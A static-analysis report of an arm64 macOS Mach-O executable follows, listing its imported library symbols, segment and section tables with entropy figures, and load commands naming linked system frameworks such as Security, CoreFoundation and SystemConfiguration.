___stderrp	UNDEFINED	LC_SYMTAB	__DATA	0x100265010	/usr/lib/libSystem.B.dylib
___strlcat_chk	UNDEFINED	LC_SYMTAB	__DATA	0x100265398	/usr/lib/libSystem.B.dylib
___strlcpy_chk	UNDEFINED	LC_SYMTAB	__DATA	0x1002653A0	/usr/lib/libSystem.B.dylib
__dispatch_main_q	UNDEFINED	LC_SYMTAB	__DATA	0x100265018	/usr/lib/libSystem.B.dylib
__dyld_get_image_header	UNDEFINED	LC_SYMTAB	__DATA	0x1002653A8	/usr/lib/libSystem.B.dylib
__dyld_get_image_name	UNDEFINED	LC_SYMTAB	__DATA	0x1002653B0	/usr/lib/libSystem.B.dylib
__dyld_get_image_vmaddr_slide	UNDEFINED	LC_SYMTAB	__DATA	0x1002653B8	/usr/lib/libSystem.B.dylib
__dyld_image_count	UNDEFINED	LC_SYMTAB	__DATA	0x1002653C0	/usr/lib/libSystem.B.dylib
__exit	UNDEFINED	LC_SYMTAB	__DATA	0x1002653C8	/usr/lib/libSystem.B.dylib
__tlv_atexit	UNDEFINED	LC_SYMTAB	__DATA	0x1002653D0	/usr/lib/libSystem.B.dylib
_abort	UNDEFINED	LC_SYMTAB	__DATA	0x1002653D8	/usr/lib/libSystem.B.dylib
_atoi	UNDEFINED	LC_SYMTAB	__DATA	0x1002653E0	/usr/lib/libSystem.B.dylib
_bind	UNDEFINED	LC_SYMTAB	__DATA	0x1002653E8	/usr/lib/libSystem.B.dylib
_calloc	UNDEFINED	LC_SYMTAB	__DATA	0x1002653F0	/usr/lib/libSystem.B.dylib
_chdir	UNDEFINED	LC_SYMTAB	__DATA	0x1002653F8	/usr/lib/libSystem.B.dylib
_chmod	UNDEFINED	LC_SYMTAB	__DATA	0x100265400	/usr/lib/libSystem.B.dylib
_chroot	UNDEFINED	LC_SYMTAB	__DATA	0x100265408	/usr/lib/libSystem.B.dylib
_class_getName	UNDEFINED	LC_SYMTAB	__DATA	0x100265410	/usr/lib/libobjc.A.dylib
_class_isMetaClass	UNDEFINED	LC_SYMTAB	__DATA	0x100265418	/usr/lib/libobjc.A.dylib
_clock_gettime	UNDEFINED	LC_SYMTAB	__DATA	0x100265420	/usr/lib/libSystem.B.dylib
_close$NOCANCEL	UNDEFINED	LC_SYMTAB	__DATA	0x100265428	/usr/lib/libSystem.B.dylib
_closedir	UNDEFINED	LC_SYMTAB	__DATA	0x100265430	/usr/lib/libSystem.B.dylib
_confstr	UNDEFINED	LC_SYMTAB	__DATA	0x100265438	/usr/lib/libSystem.B.dylib
_connect	UNDEFINED	LC_SYMTAB	__DATA	0x100265440	/usr/lib/libSystem.B.dylib
_copyfile_state_alloc	UNDEFINED	LC_SYMTAB	__DATA	0x100265448	/usr/lib/libSystem.B.dylib
_copyfile_state_free	UNDEFINED	LC_SYMTAB	__DATA	0x100265450	/usr/lib/libSystem.B.dylib
_copyfile_state_get	UNDEFINED	LC_SYMTAB	__DATA	0x100265458	/usr/lib/libSystem.B.dylib
_dirfd	UNDEFINED	LC_SYMTAB	__DATA	0x100265460	/usr/lib/libSystem.B.dylib
_dispatch_async_f	UNDEFINED	LC_SYMTAB	__DATA	0x100265468	/usr/lib/libSystem.B.dylib
_dispatch_release	UNDEFINED	LC_SYMTAB	__DATA	0x100265470	/usr/lib/libSystem.B.dylib
_dispatch_semaphore_create	UNDEFINED	LC_SYMTAB	__DATA	0x100265478	/usr/lib/libSystem.B.dylib
_dispatch_semaphore_signal	UNDEFINED	LC_SYMTAB	__DATA	0x100265480	/usr/lib/libSystem.B.dylib
_dispatch_semaphore_wait	UNDEFINED	LC_SYMTAB	__DATA	0x100265488	/usr/lib/libSystem.B.dylib
_dispatch_time	UNDEFINED	LC_SYMTAB	__DATA	0x100265490	/usr/lib/libSystem.B.dylib
_dlclose	UNDEFINED	LC_SYMTAB	__DATA	0x100265498	/usr/lib/libSystem.B.dylib
_dlerror	UNDEFINED	LC_SYMTAB	__DATA	0x1002654A0	/usr/lib/libSystem.B.dylib
_dlopen	UNDEFINED	LC_SYMTAB	__DATA	0x1002654A8	/usr/lib/libSystem.B.dylib
_dlsym	UNDEFINED	LC_SYMTAB	__DATA	0x1002654B0	/usr/lib/libSystem.B.dylib
_dup	UNDEFINED	LC_SYMTAB	__DATA	0x1002654B8	/usr/lib/libSystem.B.dylib
_dup2	UNDEFINED	LC_SYMTAB	__DATA	0x1002654C0	/usr/lib/libSystem.B.dylib
_execvp	UNDEFINED	LC_SYMTAB	__DATA	0x1002654C8	/usr/lib/libSystem.B.dylib
_fchmod	UNDEFINED	LC_SYMTAB	__DATA	0x1002654D0	/usr/lib/libSystem.B.dylib
_fclonefileat	UNDEFINED	LC_SYMTAB	__DATA	0x1002654D8	/usr/lib/libSystem.B.dylib
_fcntl	UNDEFINED	LC_SYMTAB	__DATA	0x1002654E0	/usr/lib/libSystem.B.dylib
_fcopyfile	UNDEFINED	LC_SYMTAB	__DATA	0x1002654E8	/usr/lib/libSystem.B.dylib
_fdopendir$INODE64	UNDEFINED	LC_SYMTAB	__DATA	0x1002654F0	/usr/lib/libSystem.B.dylib
_flock	UNDEFINED	LC_SYMTAB	__DATA	0x1002654F8	/usr/lib/libSystem.B.dylib
_fork	UNDEFINED	LC_SYMTAB	__DATA	0x100265500	/usr/lib/libSystem.B.dylib
_fprintf	UNDEFINED	LC_SYMTAB	__DATA	0x100265508	/usr/lib/libSystem.B.dylib
_free	UNDEFINED	LC_SYMTAB	__DATA	0x100265510	/usr/lib/libSystem.B.dylib
_freeaddrinfo	UNDEFINED	LC_SYMTAB	__DATA	0x100265518	/usr/lib/libSystem.B.dylib
_fsctl	UNDEFINED	LC_SYMTAB	__DATA	0x100265520	/usr/lib/libSystem.B.dylib
_fstat$INODE64	UNDEFINED	LC_SYMTAB	__DATA	0x100265528	/usr/lib/libSystem.B.dylib
_fstatfs$INODE64	UNDEFINED	LC_SYMTAB	__DATA	0x100265530	/usr/lib/libSystem.B.dylib
_fsync	UNDEFINED	LC_SYMTAB	__DATA	0x100265538	/usr/lib/libSystem.B.dylib
_futimes	UNDEFINED	LC_SYMTAB	__DATA	0x100265540	/usr/lib/libSystem.B.dylib
_gai_strerror	UNDEFINED	LC_SYMTAB	__DATA	0x100265548	/usr/lib/libSystem.B.dylib
_getaddrinfo	UNDEFINED	LC_SYMTAB	__DATA	0x100265550	/usr/lib/libSystem.B.dylib
_getcwd	UNDEFINED	LC_SYMTAB	__DATA	0x100265558	/usr/lib/libSystem.B.dylib
_getentropy	UNDEFINED	LC_SYMTAB	__DATA	0x100265560	/usr/lib/libSystem.B.dylib
_getenv	UNDEFINED	LC_SYMTAB	__DATA	0x100265568	/usr/lib/libSystem.B.dylib
_gethostuuid	UNDEFINED	LC_SYMTAB	__DATA	0x100265570	/usr/lib/libSystem.B.dylib
_getpeername	UNDEFINED	LC_SYMTAB	__DATA	0x100265578	/usr/lib/libSystem.B.dylib
_getpid	UNDEFINED	LC_SYMTAB	__DATA	0x100265580	/usr/lib/libSystem.B.dylib
_getsockname	UNDEFINED	LC_SYMTAB	__DATA	0x100265588	/usr/lib/libSystem.B.dylib
_getsockopt	UNDEFINED	LC_SYMTAB	__DATA	0x100265590	/usr/lib/libSystem.B.dylib
_gettimeofday	UNDEFINED	LC_SYMTAB	__DATA	0x100265598	/usr/lib/libSystem.B.dylib
_if_nametoindex	UNDEFINED	LC_SYMTAB	__DATA	0x1002655A0	/usr/lib/libSystem.B.dylib
_ioctl	UNDEFINED	LC_SYMTAB	__DATA	0x1002655A8	/usr/lib/libSystem.B.dylib
_kCFAllocatorDefault	UNDEFINED	LC_SYMTAB	__DATA	0x100265060	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_kCFBooleanFalse	UNDEFINED	LC_SYMTAB	__DATA	0x100265068	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_kCFBooleanTrue	UNDEFINED	LC_SYMTAB	__DATA	0x100265070	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_kCFErrorDomainOSStatus	UNDEFINED	LC_SYMTAB	__DATA	0x100265078	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_kCFTypeArrayCallBacks	UNDEFINED	LC_SYMTAB	__DATA	0x100265080	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_kCFTypeDictionaryKeyCallBacks	UNDEFINED	LC_SYMTAB	__DATA	0x100265088	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_kCFTypeDictionaryValueCallBacks	UNDEFINED	LC_SYMTAB	__DATA	0x100265090	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_kSCDynamicStoreUseSessionKeys	UNDEFINED	LC_SYMTAB	__DATA	0x100265098	/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration
_kSCPropNetProxiesHTTPEnable	UNDEFINED	LC_SYMTAB	__DATA	0x1002650A0	/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration
_kSCPropNetProxiesHTTPPort	UNDEFINED	LC_SYMTAB	__DATA	0x1002650A8	/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration
_kSCPropNetProxiesHTTPProxy	UNDEFINED	LC_SYMTAB	__DATA	0x1002650B0	/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration
_kSCPropNetProxiesHTTPSEnable	UNDEFINED	LC_SYMTAB	__DATA	0x1002650B8	/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration
_kSCPropNetProxiesHTTPSPort	UNDEFINED	LC_SYMTAB	__DATA	0x1002650C0	/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration
_kSCPropNetProxiesHTTPSProxy	UNDEFINED	LC_SYMTAB	__DATA	0x1002650C8	/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration
_kSecClass	UNDEFINED	LC_SYMTAB	__DATA	0x100265028	/System/Library/Frameworks/Security.framework/Versions/A/Security
_kSecClassInternetPassword	UNDEFINED	LC_SYMTAB	__DATA	0x100265030	/System/Library/Frameworks/Security.framework/Versions/A/Security
_kSecMatchLimit	UNDEFINED	LC_SYMTAB	__DATA	0x100265038	/System/Library/Frameworks/Security.framework/Versions/A/Security
_kSecMatchLimitAll	UNDEFINED	LC_SYMTAB	__DATA	0x100265040	/System/Library/Frameworks/Security.framework/Versions/A/Security
_kSecMatchSearchList	UNDEFINED	LC_SYMTAB	__DATA	0x100265048	/System/Library/Frameworks/Security.framework/Versions/A/Security
_kSecReturnAttributes	UNDEFINED	LC_SYMTAB	__DATA	0x100265050	/System/Library/Frameworks/Security.framework/Versions/A/Security
_kSecReturnData	UNDEFINED	LC_SYMTAB	__DATA	0x100265058	/System/Library/Frameworks/Security.framework/Versions/A/Security
_kevent	UNDEFINED	LC_SYMTAB	__DATA	0x1002655B0	/usr/lib/libSystem.B.dylib
_kqueue	UNDEFINED	LC_SYMTAB	__DATA	0x1002655B8	/usr/lib/libSystem.B.dylib
_localtime_r	UNDEFINED	LC_SYMTAB	__DATA	0x1002655C0	/usr/lib/libSystem.B.dylib
_log	UNDEFINED	LC_SYMTAB	__DATA	0x1002655C8	/usr/lib/libSystem.B.dylib
_lseek	UNDEFINED	LC_SYMTAB	__DATA	0x1002655D0	/usr/lib/libSystem.B.dylib
_lstat$INODE64	UNDEFINED	LC_SYMTAB	__DATA	0x1002655D8	/usr/lib/libSystem.B.dylib
_malloc	UNDEFINED	LC_SYMTAB	__DATA	0x1002655E0	/usr/lib/libSystem.B.dylib
_malloc_create_zone	UNDEFINED	LC_SYMTAB	__DATA	0x1002655E8	/usr/lib/libSystem.B.dylib
_malloc_default_zone	UNDEFINED	LC_SYMTAB	__DATA	0x1002655F0	/usr/lib/libSystem.B.dylib
_malloc_set_zone_name	UNDEFINED	LC_SYMTAB	__DATA	0x1002655F8	/usr/lib/libSystem.B.dylib
_malloc_size	UNDEFINED	LC_SYMTAB	__DATA	0x100265600	/usr/lib/libSystem.B.dylib
_malloc_zone_free	UNDEFINED	LC_SYMTAB	__DATA	0x100265608	/usr/lib/libSystem.B.dylib
_malloc_zone_malloc	UNDEFINED	LC_SYMTAB	__DATA	0x100265610	/usr/lib/libSystem.B.dylib
_malloc_zone_realloc	UNDEFINED	LC_SYMTAB	__DATA	0x100265618	/usr/lib/libSystem.B.dylib
_memchr	UNDEFINED	LC_SYMTAB	__DATA	0x100265620	/usr/lib/libSystem.B.dylib
_memcmp	UNDEFINED	LC_SYMTAB	__DATA	0x100265628	/usr/lib/libSystem.B.dylib
_memcpy	UNDEFINED	LC_SYMTAB	__DATA	0x100265630	/usr/lib/libSystem.B.dylib
_memmove	UNDEFINED	LC_SYMTAB	__DATA	0x100265638	/usr/lib/libSystem.B.dylib
_memset	UNDEFINED	LC_SYMTAB	__DATA	0x100265640	/usr/lib/libSystem.B.dylib
_mkdir	UNDEFINED	LC_SYMTAB	__DATA	0x100265648	/usr/lib/libSystem.B.dylib
_mmap	UNDEFINED	LC_SYMTAB	__DATA	0x100265650	/usr/lib/libSystem.B.dylib
_mprotect	UNDEFINED	LC_SYMTAB	__DATA	0x100265658	/usr/lib/libSystem.B.dylib
_munmap	UNDEFINED	LC_SYMTAB	__DATA	0x100265660	/usr/lib/libSystem.B.dylib
_nanosleep	UNDEFINED	LC_SYMTAB	__DATA	0x100265668	/usr/lib/libSystem.B.dylib
_objc_alloc	UNDEFINED	LC_SYMTAB	__DATA	0x100265670	/usr/lib/libobjc.A.dylib
_objc_autoreleasePoolPop	UNDEFINED	LC_SYMTAB	__DATA	0x100265678	/usr/lib/libobjc.A.dylib
_objc_autoreleasePoolPush	UNDEFINED	LC_SYMTAB	__DATA	0x100265680	/usr/lib/libobjc.A.dylib
_objc_getClass	UNDEFINED	LC_SYMTAB	__DATA	0x100265688	/usr/lib/libobjc.A.dylib
_objc_msgSend	UNDEFINED	LC_SYMTAB	__DATA	0x100265690	/usr/lib/libobjc.A.dylib
_objc_release	UNDEFINED	LC_SYMTAB	__DATA	0x100265698	/usr/lib/libobjc.A.dylib
_objc_retainAutoreleasedReturnValue	UNDEFINED	LC_SYMTAB	__DATA	0x1002656A0	/usr/lib/libobjc.A.dylib
_object_getClass	UNDEFINED	LC_SYMTAB	__DATA	0x1002656A8	/usr/lib/libobjc.A.dylib
_open	UNDEFINED	LC_SYMTAB	__DATA	0x1002656B0	/usr/lib/libSystem.B.dylib
_openat	UNDEFINED	LC_SYMTAB	__DATA	0x1002656B8	/usr/lib/libSystem.B.dylib
_opendir$INODE64	UNDEFINED	LC_SYMTAB	__DATA	0x1002656C0	/usr/lib/libSystem.B.dylib
_pause	UNDEFINED	LC_SYMTAB	__DATA	0x1002656C8	/usr/lib/libSystem.B.dylib
_pipe	UNDEFINED	LC_SYMTAB	__DATA	0x1002656D0	/usr/lib/libSystem.B.dylib
_posix_memalign	UNDEFINED	LC_SYMTAB	__DATA	0x1002656E0	/usr/lib/libSystem.B.dylib
_posix_spawn_file_actions_adddup2	UNDEFINED	LC_SYMTAB	__DATA	0x1002656E8	/usr/lib/libSystem.B.dylib
_posix_spawn_file_actions_destroy	UNDEFINED	LC_SYMTAB	__DATA	0x1002656F0	/usr/lib/libSystem.B.dylib
_posix_spawn_file_actions_init	UNDEFINED	LC_SYMTAB	__DATA	0x1002656F8	/usr/lib/libSystem.B.dylib
_posix_spawnattr_destroy	UNDEFINED	LC_SYMTAB	__DATA	0x100265700	/usr/lib/libSystem.B.dylib
_posix_spawnattr_init	UNDEFINED	LC_SYMTAB	__DATA	0x100265708	/usr/lib/libSystem.B.dylib
_posix_spawnattr_setflags	UNDEFINED	LC_SYMTAB	__DATA	0x100265710	/usr/lib/libSystem.B.dylib
_posix_spawnattr_setpgroup	UNDEFINED	LC_SYMTAB	__DATA	0x100265718	/usr/lib/libSystem.B.dylib
_posix_spawnattr_setsigdefault	UNDEFINED	LC_SYMTAB	__DATA	0x100265720	/usr/lib/libSystem.B.dylib
_posix_spawnp	UNDEFINED	LC_SYMTAB	__DATA	0x100265728	/usr/lib/libSystem.B.dylib
_pthread_atfork	UNDEFINED	LC_SYMTAB	__DATA	0x100265730	/usr/lib/libSystem.B.dylib
_pthread_attr_destroy	UNDEFINED	LC_SYMTAB	__DATA	0x100265738	/usr/lib/libSystem.B.dylib
_pthread_attr_init	UNDEFINED	LC_SYMTAB	__DATA	0x100265740	/usr/lib/libSystem.B.dylib
_pthread_attr_setstacksize	UNDEFINED	LC_SYMTAB	__DATA	0x100265748	/usr/lib/libSystem.B.dylib
_pthread_cond_broadcast	UNDEFINED	LC_SYMTAB	__DATA	0x100265750	/usr/lib/libSystem.B.dylib
_pthread_cond_destroy	UNDEFINED	LC_SYMTAB	__DATA	0x100265758	/usr/lib/libSystem.B.dylib
_pthread_cond_signal	UNDEFINED	LC_SYMTAB	__DATA	0x100265760	/usr/lib/libSystem.B.dylib
_pthread_cond_timedwait_relative_np	UNDEFINED	LC_SYMTAB	__DATA	0x100265768	/usr/lib/libSystem.B.dylib
_pthread_cond_wait	UNDEFINED	LC_SYMTAB	__DATA	0x100265770	/usr/lib/libSystem.B.dylib
_pthread_create	UNDEFINED	LC_SYMTAB	__DATA	0x100265778	/usr/lib/libSystem.B.dylib
_pthread_detach	UNDEFINED	LC_SYMTAB	__DATA	0x100265780	/usr/lib/libSystem.B.dylib
_pthread_get_stackaddr_np	UNDEFINED	LC_SYMTAB	__DATA	0x100265788	/usr/lib/libSystem.B.dylib
_pthread_get_stacksize_np	UNDEFINED	LC_SYMTAB	__DATA	0x100265790	/usr/lib/libSystem.B.dylib
_pthread_join	UNDEFINED	LC_SYMTAB	__DATA	0x100265798	/usr/lib/libSystem.B.dylib
_pthread_main_np	UNDEFINED	LC_SYMTAB	__DATA	0x1002657A0	/usr/lib/libSystem.B.dylib
_pthread_mutex_destroy	UNDEFINED	LC_SYMTAB	__DATA	0x1002657A8	/usr/lib/libSystem.B.dylib
_pthread_mutex_init	UNDEFINED	LC_SYMTAB	__DATA	0x1002657B0	/usr/lib/libSystem.B.dylib
_pthread_mutex_lock	UNDEFINED	LC_SYMTAB	__DATA	0x1002657B8	/usr/lib/libSystem.B.dylib
_pthread_mutex_trylock	UNDEFINED	LC_SYMTAB	__DATA	0x1002657C0	/usr/lib/libSystem.B.dylib
_pthread_mutex_unlock	UNDEFINED	LC_SYMTAB	__DATA	0x1002657C8	/usr/lib/libSystem.B.dylib
_pthread_mutexattr_destroy	UNDEFINED	LC_SYMTAB	__DATA	0x1002657D0	/usr/lib/libSystem.B.dylib
_pthread_mutexattr_init	UNDEFINED	LC_SYMTAB	__DATA	0x1002657D8	/usr/lib/libSystem.B.dylib
_pthread_mutexattr_settype	UNDEFINED	LC_SYMTAB	__DATA	0x1002657E0	/usr/lib/libSystem.B.dylib
_pthread_self	UNDEFINED	LC_SYMTAB	__DATA	0x1002657E8	/usr/lib/libSystem.B.dylib
_pthread_setname_np	UNDEFINED	LC_SYMTAB	__DATA	0x1002657F0	/usr/lib/libSystem.B.dylib
_pthread_threadid_np	UNDEFINED	LC_SYMTAB	__DATA	0x1002657F8	/usr/lib/libSystem.B.dylib
_qsort	UNDEFINED	LC_SYMTAB	__DATA	0x100265800	/usr/lib/libSystem.B.dylib
_random	UNDEFINED	LC_SYMTAB	__DATA	0x100265808	/usr/lib/libSystem.B.dylib
_read	UNDEFINED	LC_SYMTAB	__DATA	0x100265810	/usr/lib/libSystem.B.dylib
_readdir_r$INODE64	UNDEFINED	LC_SYMTAB	__DATA	0x100265818	/usr/lib/libSystem.B.dylib
_realloc	UNDEFINED	LC_SYMTAB	__DATA	0x100265820	/usr/lib/libSystem.B.dylib
_recv	UNDEFINED	LC_SYMTAB	__DATA	0x100265828	/usr/lib/libSystem.B.dylib
_rename	UNDEFINED	LC_SYMTAB	__DATA	0x100265830	/usr/lib/libSystem.B.dylib
_rmdir	UNDEFINED	LC_SYMTAB	__DATA	0x100265838	/usr/lib/libSystem.B.dylib
_sched_yield	UNDEFINED	LC_SYMTAB	__DATA	0x100265840	/usr/lib/libSystem.B.dylib
_sel_getName	UNDEFINED	LC_SYMTAB	__DATA	0x100265848	/usr/lib/libobjc.A.dylib
_sel_registerName	UNDEFINED	LC_SYMTAB	__DATA	0x100265850	/usr/lib/libobjc.A.dylib
_send	UNDEFINED	LC_SYMTAB	__DATA	0x100265858	/usr/lib/libSystem.B.dylib
_setgid	UNDEFINED	LC_SYMTAB	__DATA	0x100265860	/usr/lib/libSystem.B.dylib
_setgroups	UNDEFINED	LC_SYMTAB	__DATA	0x100265868	/usr/lib/libSystem.B.dylib
_setpgid	UNDEFINED	LC_SYMTAB	__DATA	0x100265870	/usr/lib/libSystem.B.dylib
_setsid	UNDEFINED	LC_SYMTAB	__DATA	0x100265878	/usr/lib/libSystem.B.dylib
_setsockopt	UNDEFINED	LC_SYMTAB	__DATA	0x100265880	/usr/lib/libSystem.B.dylib
_setuid	UNDEFINED	LC_SYMTAB	__DATA	0x100265888	/usr/lib/libSystem.B.dylib
_shutdown	UNDEFINED	LC_SYMTAB	__DATA	0x100265890	/usr/lib/libSystem.B.dylib
_sigaction	UNDEFINED	LC_SYMTAB	__DATA	0x100265898	/usr/lib/libSystem.B.dylib
_sigaddset	UNDEFINED	LC_SYMTAB	__DATA	0x1002658A0	/usr/lib/libSystem.B.dylib
_sigaltstack	UNDEFINED	LC_SYMTAB	__DATA	0x1002658A8	/usr/lib/libSystem.B.dylib
_sigemptyset	UNDEFINED	LC_SYMTAB	__DATA	0x1002658B0	/usr/lib/libSystem.B.dylib
_signal	UNDEFINED	LC_SYMTAB	__DATA	0x1002658B8	/usr/lib/libSystem.B.dylib
_socket	UNDEFINED	LC_SYMTAB	__DATA	0x1002658C0	/usr/lib/libSystem.B.dylib
_srandomdev	UNDEFINED	LC_SYMTAB	__DATA	0x1002658C8	/usr/lib/libSystem.B.dylib
_stat$INODE64	UNDEFINED	LC_SYMTAB	__DATA	0x1002658D0	/usr/lib/libSystem.B.dylib
_statfs$INODE64	UNDEFINED	LC_SYMTAB	__DATA	0x1002658D8	/usr/lib/libSystem.B.dylib
_strcmp	UNDEFINED	LC_SYMTAB	__DATA	0x1002658E0	/usr/lib/libSystem.B.dylib
_strcspn	UNDEFINED	LC_SYMTAB	__DATA	0x1002658E8	/usr/lib/libSystem.B.dylib
_strerror_r	UNDEFINED	LC_SYMTAB	__DATA	0x1002658F0	/usr/lib/libSystem.B.dylib
_strlen	UNDEFINED	LC_SYMTAB	__DATA	0x1002658F8	/usr/lib/libSystem.B.dylib
_strncmp	UNDEFINED	LC_SYMTAB	__DATA	0x100265900	/usr/lib/libSystem.B.dylib
_strrchr	UNDEFINED	LC_SYMTAB	__DATA	0x100265908	/usr/lib/libSystem.B.dylib
_strspn	UNDEFINED	LC_SYMTAB	__DATA	0x100265910	/usr/lib/libSystem.B.dylib
_sysconf	UNDEFINED	LC_SYMTAB	__DATA	0x100265918	/usr/lib/libSystem.B.dylib
_sysctlbyname	UNDEFINED	LC_SYMTAB	__DATA	0x100265920	/usr/lib/libSystem.B.dylib
_time	UNDEFINED	LC_SYMTAB	__DATA	0x100265928	/usr/lib/libSystem.B.dylib
_unlink	UNDEFINED	LC_SYMTAB	__DATA	0x100265930	/usr/lib/libSystem.B.dylib
_unlinkat	UNDEFINED	LC_SYMTAB	__DATA	0x100265938	/usr/lib/libSystem.B.dylib
_utimes	UNDEFINED	LC_SYMTAB	__DATA	0x100265940	/usr/lib/libSystem.B.dylib
_waitpid	UNDEFINED	LC_SYMTAB	__DATA	0x100265948	/usr/lib/libSystem.B.dylib
_write	UNDEFINED	LC_SYMTAB	__DATA	0x100265950	/usr/lib/libSystem.B.dylib
_writev	UNDEFINED	LC_SYMTAB	__DATA	0x100265958	/usr/lib/libSystem.B.dylib
dyld_stub_binder	UNDEFINED	LC_SYMTAB	__DATA	0x100265020	/usr/lib/libSystem.B.dylib

General Information for header 2
Endian:	little-endian
Size:	64-bit
Architecture:	arm64
Filetype:	execute
Nbr. of load commands:	31
Entry point:	0x100029EDC

segment_64 load command - aggregated: 5

Name	Value
segname	__PAGEZERO
vmaddr	0x0
vmsize	0x100000000
fileoff	0x0
filesize	0x0
maxprot	0x0
initprot	0x0
nsects	0
flags	0x0

Name

Value

segname

__TEXT

vmaddr

0x100000000

vmsize

0x228000

fileoff

0x0

filesize

0x228000

maxprot

0x5

initprot

0x5

nsects

flags

0x0

Datas

sectname	segname	addr	size	offset	entropy	align	reloff	nreloc	flags
__text	__TEXT	0x100000DB8	0x196F84	0xDB8	6.70215677	2	0x0	0	0x80000400
__stubs	__TEXT	0x100197D3C	0xCC0	0x197D3C	4.13729981	2	0x0	0	0x80000400
__stub_helper	__TEXT	0x1001989FC	0xCD8	0x1989FC	4.39234008	2	0x0	0	0x80000400
__const	__TEXT	0x100199700	0x69674	0x199700	6.73537120	6	0x0	0	0x0
__gcc_except_tab	__TEXT	0x100202D74	0x1A54	0x202D74	5.23311027	2	0x0	0	0x0
__cstring	__TEXT	0x1002047C8	0x1381F	0x2047C8	5.53360430	0	0x0	0	0x0
__unwind_info	__TEXT	0x100217FE8	0x5EE8	0x217FE8	6.02328614	2	0x0	0	0x0
__eh_frame	__TEXT	0x10021DED0	0x8EA8	0x21DED0	5.25175736	3	0x0	0	0x68000000

Name

Value

segname

__DATA_CONST

vmaddr

0x100228000

vmsize

0x14000

fileoff

0x228000

filesize

0x14000

maxprot

0x3

initprot

0x3

nsects

flags

0x10

Datas

sectname	segname	addr	size	offset	entropy	align	reloff	nreloc	flags
__got	__DATA_CONST	0x100228000	0xD0	0x228000	0.17556102	3	0x0	0	0x0
__const	__DATA_CONST	0x1002280D0	0x13340	0x2280D0	3.19354970	3	0x0	0	0x0

Name

Value

segname

__DATA

vmaddr

0x10023C000

vmsize

0x8000

fileoff

0x23C000

filesize

0x8000

maxprot

0x3

initprot

0x3

nsects

flags

0x0

Datas

sectname	segname	addr	size	offset	entropy	align	reloff	nreloc	flags
__la_symbol_ptr	__DATA	0x10023C000	0x880	0x23C000	3.17062865	3	0x0	0	0x0
__data	__DATA	0x10023C880	0x44B0	0x23C880	1.72981450	3	0x0	0	0x0
__thread_vars	__DATA	0x100240D30	0x120	0x240D30	0.36608271	3	0x0	0	0x0
__thread_data	__DATA	0x100240E50	0x70	0x240E50	0.14709092	3	0x0	0	0x0
__thread_bss	__DATA	0x100240EC0	0x80	0x0	0.00000000	3	0x0	0	0x0
__bss	__DATA	0x100240F40	0x5F0	0x0	0.00000000	3	0x0	0	0x0
__common	__DATA	0x100241530	0x8	0x0	0.00000000	3	0x0	0	0x0

Name	Value
segname	__LINKEDIT
vmaddr	0x100244000
vmsize	0x10000
fileoff	0x244000
filesize	0xE6B0
maxprot	0x1
initprot	0x1
nsects	0
flags	0x0

dyld_info_only load command - aggregated: 1

Name	Value
rebase_off	2375680
rebase_size	2072
bind_off	2377752
bind_size	1000
weak_bind_off	0
weak_bind_size	0
lazy_bind_off	2378752
lazy_bind_size	6152
export_off	2384904
export_size	4784

symtab load command - aggregated: 1

Name	Value
symoff	2403832
nsyms	298
stroff	2410880
strsize	4816

dysymtab load command - aggregated: 1

Name	Value
ilocalsym	0
nlocalsym	0
iextdefsym	0
nextdefsym	1
iundefsym	1
nundefsym	297
tocoff	0
ntoc	0
modtaboff	0
nmodtab	0
extrefsymoff	0
nextrefsyms	0
indirectsymoff	2408600
nindirectsyms	570
extreloff	0
nextrel	0
locreloff	0
nlocrel	0

load_dylinker load command - aggregated: 1

Name	Value

uuid load command - aggregated: 1

Name	Value
uuid	208b86ef-65bd-38d2-8b3a-eedf6143a9fd

build_version load command - aggregated: 1

Name	Value

source_version load command - aggregated: 1

Name	Value
path	0.0.0.0.0

main load command - aggregated: 1

Name	Value

load_dylib load command - aggregated: 15

Name

Value

compatibility_version

1.0.0

current_version

1356.0.0

timestamp

1970-01-01

Datas

/usr/lib/libSystem.B.dylib

Name

Value

compatibility_version

1.0.0

current_version

61901.60.40

timestamp

1970-01-01

Datas

/System/Library/Frameworks/Security.framework/Versions/A/Security

Name

Value

compatibility_version

150.0.0

current_version

4201.0.0

timestamp

1970-01-01

Datas

/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation

Name

Value

compatibility_version

1.0.0

current_version

1385.60.3

timestamp

1970-01-01

Datas

/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration

Name

Value

compatibility_version

45.0.0

current_version

2685.30.107

timestamp

1970-01-01

Datas

/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit

Name

Value

compatibility_version

1.2.0

current_version

726.2.0

timestamp

1970-01-01

Datas

/System/Library/Frameworks/CoreVideo.framework/Versions/A/CoreVideo

Name

Value

compatibility_version

1.0.0

current_version

1523.0.0

timestamp

1970-01-01

Datas

/System/Library/Frameworks/CoreData.framework/Versions/A/CoreData

Name

Value

compatibility_version

1.0.0

current_version

877.2.0

timestamp

1970-01-01

Datas

/System/Library/Frameworks/CoreText.framework/Versions/A/CoreText

Name

Value

compatibility_version

1.0.1

current_version

7.0.0

timestamp

1970-01-01

Datas

/System/Library/Frameworks/CoreImage.framework/Versions/A/CoreImage

Name

Value

compatibility_version

64.0.0

current_version

1965.2.3

timestamp

1970-01-01

Datas

/System/Library/Frameworks/CoreGraphics.framework/Versions/A/CoreGraphics

Name

Value

compatibility_version

1.0.0

current_version

2330.14.0

timestamp

1970-01-01

Datas

/System/Library/Frameworks/CloudKit.framework/Versions/A/CloudKit

Name

Value

compatibility_version

1.2.0

current_version

1193.49.3

timestamp

1970-01-01

Datas

